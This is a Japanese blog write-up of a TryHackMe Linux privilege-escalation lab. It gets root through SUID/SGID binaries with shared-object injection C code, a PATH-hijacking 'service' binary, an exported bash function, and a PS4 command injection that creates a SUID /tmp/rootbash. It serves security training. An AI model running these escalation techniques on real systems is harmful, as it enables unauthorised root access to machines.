【TryHackMe】SUID/SGID実行可能ファイルを利用した権限昇格!Linux PrivEsc Writeup Part7

【TryHackMe】SUID/SGID実行可能ファイルを利用した権限昇格!Linux PrivEsc Writeup Part7
  • URLをコピーしました!

今回は、「SUID/SGID実行可能ファイルを利用した特権昇格(既知のexploitを除く)」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc

こちらの記事は、Part7になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「Exim 4.84.3の脆弱性を利用した特権昇格」も確認してください。

解説は、ネタバレになりますので、注意してください。

目次

事前準備

まずは、ターゲットマシンを起動します。
TryHackMeを利用している場合は、「Start Machine」を選択しましょう。

下記のようにIP Addressが表示されていれば、起動OKです!

今回は、ターゲットマシンに接続できた後の権限昇格なので、SSHで接続できるところまで確認しましょう。

┌──(hacklab㉿hacklab)-[~]
└─$ ssh user@10.10.52.40
user@10.10.52.40's password: 
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  9 08:54:59 2023 from ip-10-18-110-90.eu-west-1.compute.internal
user@debian:~$

アクセスできれば、事前準備は完了です。

SUID / SGID Executables – Shared Object Injection(共有オブジェクト インジェクション)

SUID実行可能ファイルの共有オブジェクトインジェクションを試してみます。

まずは、ターゲットマシン上のSUID/SGID実行可能なファイルをすべて確認してみます。

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs

「/usr/local/bin/suid-so」が、共有オブジェクトインジェクションに対して脆弱です。
見逃さないようにしましょう。

次に、「/usr/local/bin/suid-so」を実行してみます。
この状態だと、進行状況バーが表示されますね。

user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
[=====================================================================>] 99 %
Done.

次にstraceを実行して、open/accessと「no such file」エラーを確認します。

user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

ホーム ディレクトリ内の「/home/user/.config/libcalc.so」を読み込もうとしていることに注意してみてください。

この「/home/user/.config/libcalc.so」にBashを生成する共有オブジェクトを配置して、root権限を取得します。
Bashを生成するコードはこんな感じです。

user@debian:~$ mkdir /home/user/.config
user@debian:~$ cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

コードを共有オブジェクトにコンパイルしましょう。

user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
user@debian:~$ ll .config
total 8
-rwxr-xr-x 1 user user 6134 Apr  9 10:31 libcalc.so

この状態で再度「/usr/local/bin/suid-so」を実行すると、進行状況バーではなくて、root権限のbashが表示されます。

user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# whoami
root

SUID / SGID Executables – Environment Variables(環境変数)

もう一度、ターゲットマシン上のSUID/SGID実行可能なファイルを確認します。
次のターゲットは、「/usr/local/bin/suid-env」です。

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs

まずは、素直に実行してみます。

user@debian:~$ /usr/local/bin/suid-env
[....] Starting web server: apache2httpd (pid 1773) already running
. ok 

apache2を起動しようとしましたが、すでに起動済みだったようです。

次に、suid-envの中身で、文字列として読める箇所を表示してみます。
stringsがそれを実現できるコマンドになります。

user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

ここで気を付けることが、「service apache2 start」のserviceがフルパスになっていないということです。
すなわちPATHを追加して、serivceという共通オブジェクトを置いておけば、実行できてしまうことになります。

まずは、共通オブジェクトを作るためのコードを書いておきます。

user@debian:~$ cat /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}

上記のコードを、コンパイルして、serviceという共通オブジェクトを作成します。

user@debian:~$ gcc -o service /home/user/tools/suid/service.c
user@debian:~$ ll
total 16
-rw-r--r-- 1 user user  212 May 15  2017 myvpn.ovpn
-rwxr-xr-x 1 user user 6697 Apr  9 10:39 service
drwxr-xr-x 8 user user 4096 May 15  2020 tools

できたら、上記のserviceがあるディレクトリを環境変数に指定して実行します。

user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~# whoami
root

先ほど作成した共通オブジェクトが実行されて、root権限を取得できたと思います。

SUID / SGID Executables – Abusing Shell Features (#1)(シェル機能の悪用)

ターゲットマシン上のSUID/SGID実行可能なファイルを確認します。
次は「/usr/local/bin/suid-env2」をターゲットにしていきます。

まずは先ほどと同じく、stringsで文字列を確認しましょう。

user@debian:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start

先ほどと違って、絶対パスなので、先ほどと同じ手法は使えない様です。
ただし、bashバージョンが4.2-048以前の場合、shell関数名をファイルパスで定義し、その関数をexportすることで、そのファイルパスにある実際の実行可能ファイルの代わりにファイルパスと同じ名前のshell関数が実行されるという脆弱性があります。

今回は、それを利用したいので、まずはbashのバージョンを見ていきましょう。

user@debian:~$ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

4.2-048以下であることが確認できました。

では、bashシェルを実行する「/usr/sbin/service」という関数を作成し、関数をexportしておきます。

user@debian:~$ function /usr/sbin/service { /bin/bash -p; }
user@debian:~$ export -f /usr/sbin/service

ここまでできたら、「/usr/local/bin/suid-env2」を実行しましょう。

user@debian:~$ /usr/local/bin/suid-env2
root@debian:~# whoami
root

こちらもroot権限を取得できました。

SUID / SGID Executables – Abusing Shell Features (#2)(シェル機能の悪用)

bashバージョンが4.4以下の場合、環境変数PS4を利用したroot権限の昇格も可能です。

bashデバッグを有効にして、「/usr/local/bin/suid-env2」の実行可能ファイルを実行します。
PS4変数を埋め込みコマンドに設定して、/bin/bashのSUIDバージョンを/tmp/rootbashで作成します。

user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION='service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE='Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
OPTIONS=
'[' 2 -eq 0 ']'
cd /
'[' 2 -gt 0 ']'
case "${1}" in
'[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
'[' 2 -eq 2 -a start = --full-restart ']'
'[' -z '' ']'
SERVICE=apache2
shift
'[' 1 -gt 0 ']'
case "${1}" in
'[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
'[' 1 -eq 2 -a '' = --full-restart ']'
'[' -z apache2 ']'
'[' -z '' ']'
ACTION=start
shift
'[' 0 -gt 0 ']'
'[' -r /etc/init/apache2.conf ']'
'[' -x /etc/init.d/apache2 ']'
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb /etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1773) already running
.

これで、/tmp/rootbashが作成されたと思うので、実行しましょう。

user@debian:~$ /tmp/rootbash -p
rootbash-4.1# whoami
root

これでもroot権限が取得できました!

まとめ

今回は、「SUID/SGID実行可能ファイルを利用した特権昇格(既知のexploitを除く)」をやってみました。
やはり、バージョンはなるべく新しくしておくに限るなと、改めて感じました。

参考文献・サイト

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次